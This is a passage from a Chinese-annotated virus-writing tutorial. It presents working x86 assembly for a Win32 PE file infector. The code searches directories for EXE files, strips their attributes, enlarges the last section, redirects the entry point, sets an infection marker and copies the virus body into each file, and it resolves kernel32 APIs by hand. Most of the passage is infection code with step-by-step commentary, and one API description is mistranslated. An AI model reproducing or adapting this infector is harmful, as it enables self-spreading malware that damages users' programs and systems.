 ; 返回值           
 ; ======
 ;                                    
 ; ?如果函数成功了,返回值是复制到缓冲区中的字符个数,不包括NULL结尾字符。
 ;  如果长度大于缓冲区的大小,返回值是保存路径的缓冲区所需要的大小。
 ;                    
 ; ---                    
 ;                        
 ; GetCurrentDirectory 函数得到的是当前进程的当前目录。
 ; current process.                             
 ;                        
 ; DWORD GetCurrentDirectory(  
 ;   DWORD nBufferLength,        // 目录缓冲区的字符个数
 ;   LPTSTR lpBuffer     // 保存当前目录的缓冲区地址
 ;  );                
 ;                   
 ; 参数                 
 ; ====
 ;                                 
 ; ?nBufferLength: 保存当前目录字符串的缓冲区的字符个数。缓冲区的长度必须包括
 ;   NULL字符在内。
 ;                                  
 ; ?lpBuffer: 指向保存当前目录字符串缓冲区的字符串。这个以NULL结尾的字符串保存
 ;   的是当前目录的绝对路径。
 ;                           
 ; 返回值
 ; ======
 ;                                         
 ; ?如果函数成功执行了,返回的值是写到缓冲区的字符个数,不包括NULL字符。
 ;---------------------------------------------------------------------------

InfectItAll:
        lea     edi,[ebp+directories]           ; 指向第一个目录
        mov     byte ptr [ebp+mirrormirror],03h ; 3 个目录
requiem:
        push    edi                             ; 设置由EDI指向的目录
        call    [ebp+_SetCurrentDirectoryA]

        push    edi                             ; 保存EDI
        call    Infect                          ; 感染选定的目录的所有文件
        pop     edi                             ; 恢复EDI

        add     edi,7Fh                         ; 另外一个目录

        dec     byte ptr [ebp+mirrormirror]     ; 计数器-1
        jnz     requiem                         ; 是最后一个吗?不是,再来
        ret

 ;---------------------------------------------------------------------------
 ; 我们开始所做的是使EDI指向数组中的第一个目录,然后我们设置我们想要感染的目录
 ; 个数(dirs2inf=3)。好了,然后我们开始主循环。它包括如下:我们改变目录到当前
 ; 选定的目录下面,我们感染所有那个目录的所有想要感染的文件,然后我们得到了另外
 ; 一个目录知道我们完成了我们想要感染的3个目录。简单,啊?:)该看看SetCurrentDirectory
 ; 这个API函数的特征了:
 ;                        
 ; SetCurrentDirectory 为当前进程改变当前目录。
 ;     
 ; BOOL SetCurrentDirectory(        
 ;   LPCTSTR lpPathName  // 当前新目录的名字地址
 ;  );        
 ;    
 ; 参数
 ; ====
 ;       
 ; ?lpPathName: 指向一个以NULL字符结尾的字符串,这个字符串保存当前新目录的
 ;   名字。这个参数可以是一个相对路径,还可以是绝对路径。在每种情况下,都是
 ;   计算并保存的当前目录的绝对路径。
 ;       
 ; 返回值     
 ; ======
 ; 
 ; ?如果函数成功执行,返回的是非0值。
 ;---------------------------------------------------------------------------

Infect: and     dword ptr [ebp+infections],00000000h ; reset countah

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure
        push    eax                             ; Push it
        lea     eax,[ebp+offset EXE_MASK]       ; Mask to search for
        push    eax                             ; Push it

        call    [ebp+_FindFirstFileA]           ; Get first matching file

        inc     eax                             ; CMP EAX,0FFFFFFFFh
        jz      FailInfect                      ; JZ  FAILINFECT
        dec     eax

        mov     dword ptr [ebp+SearchHandle],eax ; Save the Search Handle

 ;---------------------------------------------------------------------------
 ; 这是感染例程的第一部分。第一行仅仅是为了用一个更为优化的方法(此例中的AND
 ; 比mov更小)清除感染计数器(即设置成0)。在感染计数器已经重置之后,该是搜索
 ; 文件来感染的时候了;)OK,在DOS中,我们有INT 21h的4Eh/4Fh服务...现在在Win32
 ; 中,我们有两个等价的API函数:FindFirstFile 和 FindNextFile。现在我们想要
 ; 搜索目录中的第一个文件。所有的Win32中的寻找文件的函数都有一个结构(你还记得
 ; DTA吗?)叫做WIN32_FIND_DATA(许多时候简称WFD)。让我们看看这个结构的域:
 ; 
 ; MAX_PATH                equ     260  <-- 路径的最大大小
 ; 
 ; FILETIME                STRUC        <-- 处理时间的结构,在很多Win32
 ; FT_dwLowDateTime        dd      ?        结构中都有
 ; FT_dwHighDateTime       dd      ?   
 ; FILETIME                ENDS   
 ; 
 ; WIN32_FIND_DATA         STRUC  
 ; WFD_dwFileAttributes    dd      ?    <-- 包含了文件的属性
 ; WFD_ftCreationTime      FILETIME ?   <-- 文件创建的时间
 ; WFD_ftLastAccessTime    FILETIME ?   <-- 文件的最后访问时间
 ; WFD_ftLastWriteTime     FILETIME ?   <-- 文件的最后修改时间
 ; WFD_nFileSizeHigh       dd      ?    <-- 文件大小的高位
 ; WFD_nFileSizeLow        dd      ?    <-- 文件大小的低位
 ; WFD_dwReserved0         dd      ?    <-- 保留
 ; WFD_dwReserved1         dd      ?    <-- 保留
 ; WFD_szFileName          db      MAX_PATH dup (?) <-- ASCII形式的文件名
 ; WFD_szAlternateFileName db      13 dup (?) <-- 除去路径的文件名
 ;                         db      03 dup (?) <-- Padding
 ; WIN32_FIND_DATA         ENDS
 ;
 ; ?dwFileAttributes: 决定找到的文件的属性。这个成员可以为一个或更多的值[在
 ;   这里因为空间关系就不列举了:你可以在29A的INC文件(29A#2)和以前的文档中找
 ;   到]
 ;
 ; ?ftCreationTime: 包含了一个FILETIME结构包含了文件创建的时间。FindFirstFile
 ;   和FindNextFile以Coordinated Universal Time (UTC) 格式报告文件的时间。如果
 ;   文件系统包含的文件不支持这个时间成员的话,这两个函数会把FILETIME的成员设 
 ;   置成0。你可以使用FileTimeToLocalFileTime函数来把UTC转化成本机时间,然后
 ;   使用FileTimeToSystemTime函数把本机时间转化成一个SYSTEMTIME结构的包含月,
 ;   日,年,星期,小时,分,秒,和毫秒。
 ;   
 ; ?ftLastAccessTime: 保存了一个FILETIME结构,包含了文件最后访问的时间。这个
 ;   时间是UTC形式;如果文件系统不支持这个时间成员,FILETIME的成员就是0。
 ;
 ; ?ftLastWriteTime: 保存了一个FILETIME结构包含了文件的最后修改时间。时间是
 ;   UTC格式的;如果文件系统不支持这个时间成员,FILETIME的成员就是0。
 ;
 ; ?nFileSizeHigh: 保存了DWORD类型的文件大小的高位。如果文件大小比MAXDWORD大
 ;   的话,这个值为0。文件的大小等于(nFileSizeHigh * MAXDWORD)+ nFileSizeLow。
 ;
 ; ?nFileSizeLow: 保存了DWORD类型的文件大小的低位。
 ;
 ; ?dwReserved0: 保留为将来使用。
 ;
 ; ?dwReserved1: 保留为将来使用。
 ;
 ; ?cFileName: 一个NULL字符结尾的字符串是文件的名字。
 ;
 ; ?cAlternateFileName: 一个以NULL结尾的字符串保存的是文件的可选名。这个名字
 ; 是古典的8.3(filename.ext)文件名格式。
 ;
 ; 当我们知道了WFD结构的域之后,我们可以更深一层地去"寻找"Windows地函数。首先
 ; 让我们来看看FindFirstFileA这个API地描述:
 ;
 ; FindFirstFile 函数在一个目录中搜索一个和指定地文件名符合的文件。FindFirstFileA
 ; 还检查子目录名。
 ; 
 ; HANDLE FindFirstFile(
 ;   LPCTSTR lpFileName,  // 指向要搜索的文件名
 ;   LPWIN32_FIND_DATA lpFindFileData    // 指向返回信息
 ;  );
 ;
 ; 参数
 ; ====
 ;
 ; ?lpFileName:  A. Windows 95: 指向一个以NULL结尾的指定一个合法的目录或路径和
 ;                  文件名字符串,它可以包含通配符(*和?)。这个字符串不能超过
 ;                  MAX_PATH个数。
 ;                  
 ;               B. Windows NT: 指向一个以NULL结尾的指定一个合法的目录或路径和
 ;                  文件名字符串,它不能包含通配符(*和?)。
 ;                       
 ; 路径有一个缺省的字符大小限制MAX_PATH。这个限制取决于FindFirst函数怎么分析路径。
 ; 一个应用程序可以超过这个限制并可以通过调用宽(W)版本的FindFirstFile函数并预先考虑
 ; "\\?\"来传给超过MAX_PATH的路径。"\\?\"告诉了函数关闭路径解析;它使得路径长于MAX_PATH
 ; 可以被FindFirstFileW函数使用。这个还可以对UNC名有效。"\\?\"被作为路径的一部分
 ; 忽略掉了。例如,"\\?\C:\myworld\private"被看成"C:\myworld\private", 而
 ; "\\?\UNC\bill_g_1\hotstuff\coolapps"被看成"\\bill_g_1\hotstuff\coolapps"。
 ;                                          
 ; ?lpFindFileData: 指向于WIN32_FIND_DATA 结构来接受关于找到的文件或目录。这个
 ;   结构可以在随后的调用FindNextFile 或 FindClose 函数中引用文件或子目录。
 ;                                                                
 ; 返回值                                                   
 ; =====                                    
 ;                                        
 ; ?如果函数成功调用了,返回值是一个搜索句柄,在随后的调用FindNextFile 或 FindClose
 ;   时用到。
 ;                                                                         
 ; ?如果函数失败了,返回值是INVALID_HANDLE_VALUE。为了获得详细的错误信息,调用
 ;   函数。
 ;                                                                          
 ; 所以,现在你知道了FindFirstFile函数的所有参数了。而且,现在你知道了下面代码块
 ; 的最后一行了:)
 ;---------------------------------------------------------------------------

__1:    push    dword ptr [ebp+OldEIP]          ; 保存 OldEIP 和 ModBase,
        push    dword ptr [ebp+ModBase]         ; 感染时改变

        call    Infection                       ; 感染找到的文件

        pop     dword ptr [ebp+ModBase]         ; 恢复它们
        pop     dword ptr [ebp+OldEIP]

        inc     byte ptr [ebp+infections]       ; 增加计数器
        cmp     byte ptr [ebp+infections],05h   ; 超过限制啦?
        jz      FailInfect                      ; 该死...

 ;---------------------------------------------------------------------------
 ; 我们所做的第一件事是保存了一些必须的变量的内容,它们在后面我们返回控制权给主体的
 ; 时候用到,但是这些变量在感染文件的时候改变了是很痛苦的。我们调用感染例程:它仅
 ; 需要WFD信息,所以我们不必给它传参数了。在感染完相关的文件后,我们把值再改回来。
 ; 在做完那个以后,我们增加感染计数器,并检查我们是否已经感染了5个文件了(这个病毒
 ; 的感染限制)。如果我们已经做完了那些事情,病毒从感染函数中退出。
 ;---------------------------------------------------------------------------

__2:    lea     edi,[ebp+WFD_szFileName]        ; 指向文件名的指针
        mov     ecx,MAX_PATH                    ; ECX = 260
        xor     al,al                           ; AL = 00
        rep     stosb                           ; 清除旧的文件名变量

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; 指向 WFD的指针
        push    eax                             ; 把它压栈
        push    dword ptr [ebp+SearchHandle]    ; Push Search Handle
        call    [ebp+_FindNextFileA]            ; 寻找另外一个文件

        or      eax,eax                         ; 失败? 
        jnz     __1                             ; 没有, 感染另外一个

CloseSearchHandle:
        push    dword ptr [ebp+SearchHandle]    ; Push search handle
        call    [ebp+_FindClose]                ; 关闭它

FailInfect:
        ret

 ;---------------------------------------------------------------------------
 ; 代码块的开始部分做一个简单的事情:它抹掉在WFD结构(校验文件名数据)里的数据。
 ; 这样做是为了在寻找另外一个文件的时候避免出问题。我们下一步要做的是调用
 ; FindNextFile这个API函数。下面是这个API的描述:
 ;                                            
 ; FindNextFile 函数继续以前调用的FindFirstFile函数来继续搜索一个文件 。
 ;                                                                          
 ; BOOL FindNextFile(                                                       
 ;   HANDLE hFindFile,   // 要搜索的句柄                                
 ;   LPWIN32_FIND_DATA lpFindFileData    // 指向保存找到文件的数据的结构
 ;  );                                                                      
 ;                                                                          
 ; 参数                                                               
 ; ====                                                               
 ;                                                                          
 ; ?hFindFile: 识别由先前的调用FindFirstFile函数返回的搜索句柄。
 ;                                                                          
 ; ?lpFindFileData: 指向一个WIN32_FIND_DATA 结构,用来接受关于找到的文件或子目录
 ;   的信息。这个结构可以在随后的调用FindNextFile时引用来寻找文件或目录。
 ;                                                                          
 ; 返回值                                                          
 ; ======                                                           
 ;                                                                          
 ; ?如果函数调用成功,返回值是非零值。                 
 ;                                                                          
 ; ?如果函数调用成功,返回值是0。为了获得详细的错误信息,调用GetLastError。
 ;                                                        
 ; ?如果没有匹配的文件,GetLastError函数会返回ERROR_NO_MORE_FILES。
 ;                                                                       
 ; 如果FindNextFile返回错误,或者如果病毒已经到达了可能感染的最大文件数,我们到了
 ; 这个例程的最后一块。它由通过FindClose这个API来关闭搜索句柄组成。照常,下面是
 ; 这个API的描述:
 ;                                                                          
 ; FindClose函数关闭指定的搜索句柄。FindFirstFile 和 FindNextFile 函数使用这个 
 ; 句柄来用匹配给定的名字来定位文件。
 ;                                                                          
 ; BOOL FindClose(                                                          
 ;   HANDLE hFindFile    // 文件搜索句柄
 ;  );                                                          
 ;                                                
 ;                                                 
 ; 参数
 ; ====
 ;                                                      
 ; ?hFindFile: 识别搜索句柄。这个句柄必须是由FindFirstFile函数已经打开的。
 ;                                                               
 ; 返回值
 ; ======
 ;                                            
 ; ?如果函数调用成功,返回值是非0值。
 ;                                                         
 ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError
 ;                                                                          ;
 ;---------------------------------------------------------------------------

Infection:
        lea     esi,[ebp+WFD_szFileName]        ; 获得要感染的文件名
        push    80h
        push    esi
        call    [ebp+_SetFileAttributesA]       ; 清除它的属性

        call    OpenFile                        ; 打开它

        inc     eax                             ; 如果 EAX = -1, 就有一个错误
        jz      CantOpen                        
        dec     eax

        mov     dword ptr [ebp+FileHandle],eax

 ;---------------------------------------------------------------------------
 ; 我们首先做的是清除文件的属性,并把它们设置为"正常文件"。这是通过SetFileAttributes
 ; 这个API来实现的。下面给出这个API的简要介绍:
 ;                                                                
 ; SetFileAttributes 函数 设置一个文件的属性。        
 ;                                                                         
 ; BOOL SetFileAttributes(                                           
 ;   LPCTSTR lpFileName, // 文件名的地址
 ;   DWORD dwFileAttributes      // 要设置的属性的地址
 ;  );                                                          
 ;                                                       
 ; 参数
 ; ====
 ;                                                                   
 ; ?lpFileName: 指向一个保存要修改属性的文件的文件名字符串。
 ;                                                                          
 ; ?dwFileAttributes: 指定要设置的文件的属性。这个参数可以为下面的值的组合。然而,
 ;   所有的其它的值超越FILE_ATTRIBUTE_NORMAL
 ;                                                                 
 ; 返回值
 ; ======
 ;                                                                   
 ; ?如果函数调用成功,返回值是非0值。
 ;                                                                          
 ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError
 ;                                                                          
 ; 在我们设置了新的文件属性之后,我们打开了文件,而且,如果没有任何错误发生,它把
 ; 句柄保存到它的变量中。
 ;---------------------------------------------------------------------------

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 首先我们用它的正确大小创建映射
        call    CreateMap                     

        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] 
        call    MapFile                         ; 映射它

        or      eax,eax
        jz      UnMapFile

        mov     dword ptr [ebp+MapAddress],eax

 ;---------------------------------------------------------------------------
 ; 首先我们给ECX赋我们打算要映射的文件的大小,然后我们调用我们的函数来映射它。
 ; 我们检查可能的错误,如果没有任何错误,我们继续,否则,我们关闭文件。然后我们
 ; 保存映射句柄,并准备最终利用MapFile函数来映射它。还象以前那样,我们检查错误,
 ; 决定相应的处理。如果所有的都做好了,我们保存映射起作用的地址。
 ;---------------------------------------------------------------------------

        mov     esi,[eax+3Ch]
        add     esi,eax
        cmp     dword ptr [esi],"EP"            ; 它是PE吗?
        jnz     NoInfect

        cmp     dword ptr [esi+4Ch],"CTZA"     ; 它被感染了吗?
        jz      NoInfect

        push    dword ptr [esi+3Ch]

        push    dword ptr [ebp+MapAddress]      ; 关闭所有
        call    [ebp+_UnmapViewOfFile]

        push    dword ptr [ebp+MapHandle]
        call    [ebp+_CloseHandle]

        pop     ecx

 ;---------------------------------------------------------------------------
 ; 当我们在EAX中得到了开始映射的地址,我们刷新指向PE头(MapAddress+3Ch)的指针,  
 ; 然后我们规范化它,所以在ESI中我们将得到指向PE头的指针。总之我们检查它是否OK,
 ; 所以我们检查PE签名。在那个检查之后,我们检查文件是否在以前感染过了(我们在PE的
 ; 偏移地址4Ch处保存了一个标记,程序从来不会用的),如果它没有,我们继续感染过程。
 ; 我们保存他们,在堆栈中 ,文件对齐(看看PE头那一章)。而且在那之后,我们解除映射,
 ; 并关闭映射句柄。最终我们从堆栈恢复文件对齐(File Alignment),把它存在ECX寄存器中。
 ;---------------------------------------------------------------------------

        mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; 再次映射
        add     eax,virus_size

        call    Align
        xchg    ecx,eax

        call    CreateMap
        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+NewSize]
        call    MapFile

        or      eax,eax
        jz      UnMapFile

        mov     dword ptr [ebp+MapAddress],eax
        
        mov     esi,[eax+3Ch]
        add     esi,eax

 ;---------------------------------------------------------------------------
 ; 当我们在ECX(准备'Align'函数,因为它需要在ECX中的对齐因子)中得到了文件对齐,我们
 ; 给EAX赋打开的文件大小加上病毒大小(EAX是要对齐的数量),然后我们调用'Align'函数,
 ; 它在EAX中返回给我们对齐的数字。例如,如果对齐(Alignment)是200h,而且文件大小+
 ; 病毒大小是12345h,'Align'函数将会返回给我们的数字将会是12400h。然后我们把对齐数字
 ; 保存到ECX中。我们再次调用CreateMap函数,但是现在我们用对齐后的大小来映射文件。
 ; 在这之后,我们再次使ESI指向PE头。
 ;---------------------------------------------------------------------------

        mov     edi,esi                         ; EDI = ESI = Ptr to PE header

        movzx   eax,word ptr [edi+06h]          ; AX = n?of sections
        dec     eax                             ; AX--
        imul    eax,eax,28h                     ; EAX = AX*28
        add     esi,eax                         ; Normalize
        add     esi,78h                         ; Ptr to dir table
        mov     edx,[edi+74h]                   ; EDX = n?of dir entries
        shl     edx,3                           ; EDX = EDX*8
        add     esi,edx                         ; ESI = Ptr to last section

 ;---------------------------------------------------------------------------
 ; 首先我们也使EDI指向PE头。然后,我们给AX赋节的个数(一个WORD类型的数),并使它
 ; 减1。然后我们把AX(n,节数-1)乘以28h(节头的大小),把它再加上PE头的偏移地址。使ESI
 ; 指向目录表,在EDX中得到目录入口点的数目。然后我们把它乘以8,最后把结果(在EDX中)
 ; 加到ESI,所以ESI将指到最后一节。
 ;---------------------------------------------------------------------------

        mov     eax,[edi+28h]                   ; 获得 EP
        mov     dword ptr [ebp+OldEIP],eax      ; 保存它
        mov     eax,[edi+34h]                   ; 获得 imagebase
        mov     dword ptr [ebp+ModBase],eax     ; 保存它
        
        mov     edx,[esi+10h]                   ; EDX = SizeOfRawData
        mov     ebx,edx                         ; EBX = EDX
        add     edx,[esi+14h]                   ; EDX = EDX+PointerToRawData

        push    edx                             ; 保存 EDX

        mov     eax,ebx                         ; EAX = EBX
        add     eax,[esi+0Ch]                   ; EAX = EAX+VA 地址
                                                ; EAX = 新 EIP
        mov     [edi+28h],eax                   ; 改变新的 EIP
        mov     dword ptr [ebp+NewEIP],eax      ; 还保存它

 ;---------------------------------------------------------------------------
 ; 首先我们给EAX赋我们正在感染的文件的EIP值,为了后面把旧EIP赋给一个变量,将会在
 ; 病毒(你将会看到)的开始用到。我们对基址同样这么做。然后,我们给EDX赋最后一节的
 ; 的SizeOfRawData赋给EDX,再赋给EDX,然后,我们把EDX加上PointerToRawData(EDX
 ; 将在复制病毒的时候用到所以我们把它保存到堆栈中)。在这之后,我们给EAX赋SizeOfRawData,
 ; 把它加上VA地址 :所以我们在EAX中得到的是主体的新EIP。所以我们把它保存在它的PE头
 ; 的域中,并保存在另外一个变量中(看看病毒的开始处)。
 ;---------------------------------------------------------------------------

        mov     eax,[esi+10h]                   ; EAX = 新的 SizeOfRawData
        add     eax,virus_size                  ; EAX = EAX+VirusSize
        mov     ecx,[edi+3Ch]                   ; ECX = FileAlignment(文件对齐)
        call    Align                           ; 对齐!

        mov     [esi+10h],eax                   ; 新的 SizeOfRawData
        mov     [esi+08h],eax                   ; 新的 VirtualSize

        pop     edx                             ; EDX = 指向节尾的原始指针
                                               

        mov     eax,[esi+10h]                   ; EAX =  新的 SizeOfRawData
        add     eax,[esi+0Ch]                   ; EAX = EAX+VirtualAddress
        mov     [edi+50h],eax                   ; EAX =  新的 SizeOfImage

        or      dword ptr [esi+24h],0A0000020h  ; 设置新的节标志


 ;---------------------------------------------------------------------------
 ; Ok, 我们做的第一件事是把最后一节的SizeOfRawData装载到EAX中,然后把病毒的大小
 ; 加上它。在 ECX中,我们装载FileAlignment,我们调用'Align'函数,所以在EAX中,
 ; 我们将得到对齐后的SizeOfRawData+VirusSize。
 ; 让我们看看一个小例子:                                     
 ;                                                                          
 ;      SizeOfRawData - 1234h                                               
 ;      VirusSize     -  400h                                               
 ;      FileAlignment -  200h                                               
 ;                                                                          
 ; 所以,SizeOfRawData + VirusSize 将为1634,在对那个值对齐之后将为1800h。简单,哈? 
 ; 所以我们把对齐后的值设为新的SizeOfRawData并作为新的VirtualSize,这样做之后我们
 ; 将没有问题了,我们计算新的SizeOfImage,也就是说,新的SizeOfRawData和VirtualAddress
 ; 的和。在计算完这个之后,我们把它保存到PE头的SizeOfImage域中(偏移50h处)。然后,
 ; 我们按如下设置节的属性:
 ;                                                                         
 ;      00000020h - 节包含代码                               
 ;      40000000h - 节可读
 ;      80000000h - 节可写                
 ;                                                 
 ; 所以,如果我们要应用这三个属性只要把那3个值或(OR)即可,结果将是A0000020h。
 ; 所以,我们还要把他和节的当前属性值进行或,这样我们不必删除旧的:只要加上它们。
 ;---------------------------------------------------------------------------

        mov     dword ptr [edi+4Ch],"CTZA"      ; 设置感染标志

        lea     esi,[ebp+aztec]                 ; ESI = 指向 virus_start 的指针
        xchg    edi,edx                         ; EDI = 指向最后一节结尾的指针
                                                ;       
        add     edi,dword ptr [ebp+MapAddress]  ; EDI = 规范化后指针
        mov     ecx,virus_size                  ; ECX = 要复制的大小
        rep     movsb                           ; 做它!

        jmp     UnMapFile                       ; 解除映射, 关闭, 等等.

 ;---------------------------------------------------------------------------
 ; 为了避免重复感染文件我们现在所做的首先是在PE头没有用过地方设置感染的标志(偏移
 ; 4Ch是保留的)。然后,在ESI中放一个指向病毒开始的指针。在我们把EDX的值赋给ESI
 ; (记住:EDX=旧的 SizeOfRawData+PointerToRawData)之后,那就是我们放置病毒代码
 ; 的RVA。正如我已经说过了,它是一个RVA,这一点你必须知道;)RVA必须转换成VA,
 ; 这是通过把RVA加上相对值实现的... 所以,它和开始映射文件的地址(如果你还记得,它是
 ; 由MapViewOfFile这个API返回的)相关。所以,最后,在EDI中我们得到的是写病毒代码的
 ; VA。在ECX中,我们装入病毒的大小,并复制。所有都做好了!:)现在我们关闭所有...
 ;---------------------------------------------------------------------------

NoInfect:
        dec     byte ptr [ebp+infections]
        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call    TruncFile

 ;---------------------------------------------------------------------------
 ; 在感染的时候,如果有什么错误发生,我们就到了这个地方。我们把感染计数器减1,把文件
 ; 截去感染之前的大小。我希望我们的病毒不会到达这个地方:)
 ;---------------------------------------------------------------------------

UnMapFile:
        push    dword ptr [ebp+MapAddress]      ; 关闭映射的地址
        call    [ebp+_UnmapViewOfFile]

CloseMap:       
        push    dword ptr [ebp+MapHandle]       ; 关闭映射
        call    [ebp+_CloseHandle]

CloseFile:
        push    dword ptr [ebp+FileHandle]      ; 关闭文件
        call    [ebp+_CloseHandle]

CantOpen:
        push    dword ptr [ebp+WFD_dwFileAttributes]
        lea     eax,[ebp+WFD_szFileName]        ; 设置原先文件的的属性
        push    eax
        call    [ebp+_SetFileAttributesA]
        ret

 ;---------------------------------------------------------------------------
 ; 这块代码集中于关闭在感染的时候打开的所有东西:映射地址,映射自身,文件,随后把
 ; 原先的属性设置回去。
 ; 让我们看看这里用到的API:
 ;                                                                          
 ; UnmapViewOfFile 函数从调用进程的地址空间中解除文件的映射。
 ;                                                                          
 ; BOOL UnmapViewOfFile(                                                    
 ;   LPCVOID lpBaseAddress       // 开始映射的地址
 ;  );                                                       
 ;                                                           
 ; 参数                                       
 ; ====                                                               
 ;                                                                          
 ; ?lpBaseAddress: 指向要解除映射的文件的基址。这个值必须是由先前调用MapViewOfFile
 ;   或MapViewOfFileEx函数返回的值。
 ;                                                                         
 ; 返回值
 ; =====
 ;                                                                        
 ; ?如果函数调用成功,返回值是非0值,而且所有指定范围内的页将会标志"lazily"。
 ;                                                                          
 ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError函数。
 ;                                                                          
 ; ---                                                                      
 ;                                                                          
 ; CloseHandle 函数关闭一个打开对象的句柄。
 ;                                                                          
 ; BOOL CloseHandle(                                                        
 ;   HANDLE hObject      // 要关闭对象的句柄
 ;  );                                                                      
 ;                                                                          
 ; 参数
 ; ====
 ;                                                                          
 ; ?hObject: 指一个打开对象的句柄。
 ;                                                                          
 ;  返回值
 ;  ======
 ;                                                                          
 ; ?如果函数调用成功,返回值是非0值。
 ; ?如果函数调用失败,返回值是0。想要获得详细的错误信息,调用GetLastError。
 ;
 ;---------------------------------------------------------------------------

GetK32          proc
_@1:    cmp     word ptr [esi],"ZM"
        jz      WeGotK32
_@2:    sub     esi,10000h
        loop    _@1
WeFailed:
        mov     ecx,cs
        xor     cl,cl
        jecxz   WeAreInWNT
        mov     esi,kernel_
        jmp     WeGotK32
WeAreInWNT:
        mov     esi,kernel_wNT
WeGotK32:
        xchg    eax,esi
        ret
GetK32          endp

GetAPIs         proc
@@1:    push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi

        stosd

        xchg    edi,esi

        xor     al,al
@@2:    scasb
        jnz     @@2

        xchg    edi,esi

@@3:    cmp     byte ptr [esi],0BBh
        jnz     @@1

        ret
GetAPIs         endp

GetAPI          proc
        mov     edx,esi
        mov     edi,esi

        xor     al,al
@_1:    scasb
        jnz     @_1

        sub     edi,esi                         ; EDI = API 的名字大小
        mov     ecx,edi

        xor     eax,eax
        mov     esi,3Ch
        add     esi,[ebp+kernel]
        lodsw
        add     eax,[ebp+kernel]

        mov     esi,[eax+78h]
        add     esi,1Ch

        add     esi,[ebp+kernel]

        lea     edi,[ebp+AddressTableVA]
        
        lodsd
        add     eax,[ebp+kernel]
        stosd

        lodsd
        add     eax,[ebp+kernel]
        push    eax                             ; mov [NameTableVA],eax   =)
        stosd

        lodsd
        add     eax,[ebp+kernel]
        stosd
        
        pop     esi

        xor     ebx,ebx

@_3:    lodsd
        push    esi      
        add     eax,[ebp+kernel]
        mov     esi,eax
        mov     edi,edx
        push    ecx
        cld
        rep     cmpsb
        pop     ecx
        jz      @_4
        pop     esi
        inc     ebx
        jmp     @_3              

@_4:
        pop     esi
        xchg    eax,ebx
        shl     eax,1
        add     eax,dword ptr [ebp+OrdinalTableVA]
        xor     esi,esi
        xchg    eax,esi
        lodsw
        shl     eax,2
        add     eax,dword ptr [ebp+AddressTableVA]
        mov     esi,eax
        lodsd
        add     eax,[ebp+kernel]
        ret
GetAPI          endp

 ;---------------------------------------------------------------------------
 ; 上面所有的代码以前已经见过了,这里是有了一点点优化,所以你可以看看你自己用其它
 ; 方法该怎么做。
 ;---------------------------------------------------------------------------

 ; 输入:
 ;      EAX - 对齐的值
 ;      ECX - 对齐因子
 ; 输出:
 ;      EAX - 对齐值

Align           proc
        push    edx
        xor     edx,edx
        push    eax
        div     ecx
        pop     eax
        sub     ecx,edx
        add     eax,ecx
        pop     edx
        ret
Align           endp

 ;---------------------------------------------------------------------------
 ; 这个函数执行在PE感染中非常重要的一件事情:把数字和指定的因子对齐。如果你不是
 ; 一个d0rk,你就不必问我它是怎么工作的了。( Fuck,你到底学了没有?)
 ;---------------------------------------------------------------------------
 ; 输入:
 ;      ECX - 要截的文件
 ; 输出:
 ;      无.

TruncFile       proc
        xor     eax,eax
        push    eax
        push    eax
        push    ecx
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetFilePointer]

        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetEndOfFile]
        ret
TruncFile       endp

 ;---------------------------------------------------------------------------
 ; SetFilePointer 使文件指针指向一个打开的文件。
 ;                                                                          
 ; DWORD SetFilePointer(                                                    
 ;   HANDLE hFile,       // 文件的句柄
 ;   LONG lDistanceToMove,       // 需要移动文件指针的字节数
 ;   PLONG lpDistanceToMoveHigh, // 要移动距离的高位字
 ;                               
 ;   DWORD dwMoveMethod  // 怎么移
 ;  );                                                         
 ;                                                             
 ; 参数
 ; ====
 ;                                                                          
 ; ?hFile: 指需要移动移动文件指针的文件。这个文件句柄必须是用GENERIC_READ或GENERIC_WRITE 
 ;   方式创建的。
 ;                                                                          
 ; ?lDistanceToMove: 指要移动文件指针的字节数。一个正值表示指针向前移动,而一个负
 ;   值表示文件指针向后移动。
 ;                                                                          
 ; ?lpDistanceToMoveHigh: 指向64位距离的高位字。如果这个参数的值是NULL,SetFilePointer
 ;   只能操作最大为2^32 - 2的文件。如果这个参数被指定了,最大文件大小是2^64 - 2。
 ;   这个参数还获取新文件指针的高位值。
 ;                                                                          
 ; ?dwMoveMethod: 指示文件指针移动的开始的地方。这个参数可以是下面的一个值
 ;                                                                          
 ;        值          方式                                             
 ;                                                                          
 ;   + FILE_BEGIN   - 开始点是0或文件开始。如果指定了FILE_BEGIN,DistanceToMove
 ;                    被理解为新文件指针的位置。
 ;   + FILE_CURRENT - 当前文件指针的值是开始点。
 ;   + FILE_END     - 当前文件尾是开始点。
 ;                                                                          
 ; 返回值
 ; ======
 ;                                                                          
 ; ?如果SetFilePointer函数调用成功,返回值是双字新文件指针的低位值,而且如果
 ;   lpDistanceToMoveHigh不是NULL,这个函数把新文件指针的双字的高位赋给由那个参
 ;   数指向的长整型。
 ; ?如果函数调用失败而且lpDistanceToMoveHigh是NULL,返回值是0xFFFFFFFF。想要
 ;   获得详细的错误信息,调用GetLastError函数。
 ; ?如果函数失败,而且lpDistanceToMoveHigh是非-NULL的,返回值是0xFFFFFFFF,而且
 ;   GetLastError将返回一个值而不NO_ERROR。
 ;                                                                          
 ; ---                                                                      
 ;                                                                          
 ; SetEndOfFile 函数把指定文件的end-of-file (EOF)位置移到文件指针的当前位置。
 ;                                                                          
 ; BOOL SetEndOfFile(                                                       
 ;   HANDLE hFile        // 要设置EOF的文件的句柄
 ;  );                                                                      
 ;                                                                          
 ; 参数
 ; ====
 ;                                                                          
 ; ?hFile: 指示要移动EOF位置的文件。这个句柄必须是以GENERIC_WRITE访问文件方式
 ;   创建的。
 ;                                                                          
 ; 返回   
 ; ====
 ;                                                                          
 ; ?如果函数调用成功,返回值是非0值
